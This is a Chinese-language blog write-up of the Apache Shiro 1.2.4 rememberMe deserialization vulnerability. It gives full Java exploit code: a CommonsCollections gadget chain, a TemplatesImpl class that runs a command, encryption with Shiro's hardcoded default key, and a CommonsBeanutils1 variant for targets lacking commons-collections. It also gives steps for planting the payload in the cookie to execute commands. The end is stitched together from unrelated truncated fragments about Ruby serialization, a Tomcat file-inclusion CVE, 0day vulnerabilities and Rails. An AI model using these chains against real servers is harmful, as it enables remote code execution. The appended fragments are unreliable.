为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/*
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
*/
public class CC_Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
// 这里是查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
再写一个类来调用POC类中的getPayload方法同时传入恶意命令的字节码,因为这条链的命令执行方式是通过最后的defineClass()进行类加载执行,并将返回的序列化后的数据通过shiro的加密方式进行加密
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Main {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
最后还有一个用来生成命令执行字节码的类,分析过CC3就知道,必须继承AbstractTranslet同时实现两个抽象方法
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evil() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
总的代码逻辑就是Main函数启动,首先通过javassti将Evil类转成字节码然后传递给CC_Shiro的getPayload函数,在其中执行完构造好的代码后返回恶意的序列化内容,将返回的内容以shiro默认秘钥和AesCipherService类来进行加密,加密后的内容输出,而这就是我们需要的payload内容,将其替换shiro框架Cookie中的rememberMe字段发送给服务端即可造成命令执行
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() ->
LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
总体就像前面是CC6的前半部分加上CC4后半部分通过类加载进行命令执行(这里查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法),所以这条链就直接以HashMap#readObject()作为入口
为了方便调试这里在POC代码随便改改,把反序列化部分也加上
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/*
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
*/
public class CommonsCollectionsShiro {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("serialize"));
outputStream.writeObject(expMap);
outputStream.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize"));
in.readObject();
// ==================
// 生成序列化字符串
// ByteArrayOutputStream barr = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(barr);
// oos.writeObject(expMap);
// oos.close();
// return barr.toByteArray();
return new byte[]{};
}
}
这条链与之前CC链最不同的点就在于new TiedMapEntry的时候直接把TemplatesImpl对象作为key传入,而这个key会作为LazyMap#get(key)方法的参数,最终作为InvokerTransformer#transform(key)的参数,实现反射调用TemplatesImpl#newTransformer(),后面就是CC3的命令执行流程了,这样就可以将前后两部分拼接起来
这样做的目的是因为在shiro中不能使用原本CC6的Transformer数组,我们只能进行改造使其编程没有数组的形式,原因可以参照下面的参考文章,简单来说就是如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,所以有Transformer数组是反序列化会出异常而无法正常执行下去
因此我们发现了TiedMapEntry构造函数和getValue()函数的配合能直接让
InvokerTransformer#transform函数的参数input为TemplatesImpl的对象,这样就可以直接反射调用到TemplatesImpl#newTransformer()方法
接下来进行下调试复现
在HashMap#readObject()中的hash()函数这下断点开始调试

进入hash方法

进入hashcode方法

再进入TiedMapEntry的getValue,此时this.map是LazyMap,而this.key正是TemplatesImpl对象,它是在new TiedMapEntry时在构造方法传入的

进入get方法后后面就是CC3后面的过程

运行Main.java就可以生成payload

自己搭建一个有该漏洞的shiro版本的靶场(注意添加commons-collections依赖,因为该攻击方式利用的CC链)
将payload替换rememberMe,即可命令执行

实际场景下,目标可能并没有安装commons-collections,这
个时候shiro反序列化漏洞怎么利用呢
虽然没有commons-collections,但是shiro自身有commons-beanutils依赖,可以用CommonsBeanutils1这条链来构造payload,只不过因为shiro自身依赖的commons-beanutils只包含部分commons-collections的类(commons-beanutils本来依赖于commons-collections),有些这条链关键的部分没有,这里直接使用ysoseroal中的CommonsBeanutils1生成的payload会报如下错误(打印日志)

这是因为找不到函数ComparableComparator,构造方法中的没有传comparator参数的话就会调用这个函数,所以需要在new BeanComparator的时候传入一个可用的comparator

CaseInsensitiveComparator这个类继承了Serializable、Comparator,同时是内部类,因此我们可以直接传入这个类的对象进去,通过String类中定义的常量字段String.CASE_INSENSITIVE_ORDER即可获取CaseInsensitiveComparator对象

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
利用链如下:
PriorityQueue#readObject() -> PriorityQueue#heapify() -> PriorityQueue#siftDown() ->
PriorityQueue#siftDownUsingComparator() -> BeanComparator#compare() -> PropertyUtils#getProperty() ->
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
这条CommonsBeanutils1链和CC链不同的部分在于中间的BeanComparator#compare() -> PropertyUtils#getProperty()这一段,主要是利用了PropertyUtils.getProperty(o1, property)这个方法会自动去调用一个JavaBean的getter方法,当o1是TemplatesImpl 对
象,而property 的值为outputProperties 时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties() 方法,以此连接前后部分
用上述的新POC生成的payload替换rememberMe字段,即可成功执行命令

参考文章:https://www.anquanke.com/post/id/192619、《java安全漫谈15、17》-phith0n
给定一个复杂的对象层次结构,幸运的是它不包含循环引用,我如何实现支持各种格式的序列化?我不是来讨论实际实现的。相反,我正在寻找可能会派上用场的设计模式提示。更准确地说:我正在使用Ruby,我想解析XML和JSON数据以构建复杂的对象层次结构。此外,应该可以将该层次结构序列化为JSON、XML和可能的HTML。我可以为此使用Builder模式吗?在任何提到的情况下,我都有某种结构化数据-无论是在内存中还是文本中-我想用它来构建其他东西。我认为将序列化逻辑与实际业务逻辑分开会很好,这样我以后就可以轻松支持多种XML格式。 最佳答案 我最
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
首先,我使用的是rails3.1.3和来自master的carrierwavegithub仓库的分支。我使用after_init钩子(Hook)来确定基于属性的字段页面模型实例并为这些字段定义属性访问器将值存储在序列化哈希中(希望它清楚我是什么谈论)。这是我正在做的事情的精简版:classPage省略mount_uploader命令让我可以访问我想要的属性。但是当我安装uploader时出现错误消息说“nil类的未定义新方法”我在源代码中读到有方法read_uploader和扩展模块中的write_uploader。我如何必须覆盖这些来制作mount_uploader命令使用我的“虚拟
什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相
我有一个存储JSON数据的列。当它处于编辑状态时,我不知道如何显示它。serialize:value,JSON=f.fields_for:valuedo|ff|.form-group=ff.label:short=ff.text_field:short,class:'form-control'.form-group=ff.label:long=ff.text_field:long,class:'form-control' 最佳答案 代替=f.fields_for:valuedo|ff|请使用以下代码:=f.fields_for:va
在RubyonRails中,如果数组为空,则具有序列化数组字段的模型将不会在.save()上更新,而它之前有数据。我正在使用:ruby2.2.1rails4.2.1sqlite31.3.10我创建了一个字段设置为文本的新模型:railsgmodel用户名:stringexample:text在我添加的User.rb文件中:serialize:example,Array我实例化了User类的一个新实例:test=User.new然后我保存用户以确保它正确保存:test.save()(0.1ms)begintransactionSQL(0.4ms)INSERTINTO"users"("cr
是否可以在使用YAML.load_file时强制Ruby调用初始化方法?我想调用该方法以便为我不序列化的实例变量提供值。我知道我可以将代码分解成一个单独的方法并在调用YAML.load_file之后调用该方法,但我想知道是否有更优雅的方法来处理这个问题。 最佳答案 我认为你做不到。由于您要添加的代码确实特定于要反序列化的类,因此您应该考虑在类中添加该功能。例如,让Foo成为您要反序列化的类,您可以添加一个类方法,例如:classFoodefself.from_yaml(yaml)foo=YAML::load(yaml)#editth
我正在使用Ruby、Grape和ActiveRecord构建一个网络API。来自ASP.NETWebAPI我习惯于从JSON到类对象的自动模型绑定(bind),然后可以使用EntityFramework保存。我一直在搜索一下,看看在使用ActiveRecord时是否有类似的东西,但没有发现任何让我觉得我遗漏了一些非常明显的东西。将JSON反序列化为ActiveRecord模型的最佳方法是什么?更新Matts回答对简单类型非常有效,但是当我有关联时,我收到以下错误:ActiveRecord::AssociationTypeMismatch:Connector(#7029771166878
为什么Ruby的内置JSON不能反序列化简单的JSON原语,我该如何解决这个问题?irb(main):001:0>require'json'#=>trueirb(main):002:0>objects=[{},[],42,"",true,nil]#=>[{},[],42,"",true]irb(main):012:0>objects.eachdo|o|irb(main):013:1*json=o.to_jsonirb(main):014:1>beginirb(main):015:2*pJSON.parse(json)irb(main):016:2>rescueException=>ei
我试图在单个数据库字段中保存选项的散列。该表单能够将数据保存到数据库,但当我去编辑它时无法再次检索它(例如,除了wp_options字段之外,所有其他字段都已预填充)。classProfile这是我的自定义类:classWP_Optionsattr_accessor:wp_name,:wp_desc,:wp_limitend在我的表单中:true)do|f|%>......在我的Controller中:@profile=Profile.new(:wp_options=>WP_Options.new)在我的数据库列“wp_options”中:---!map:ActiveSupport::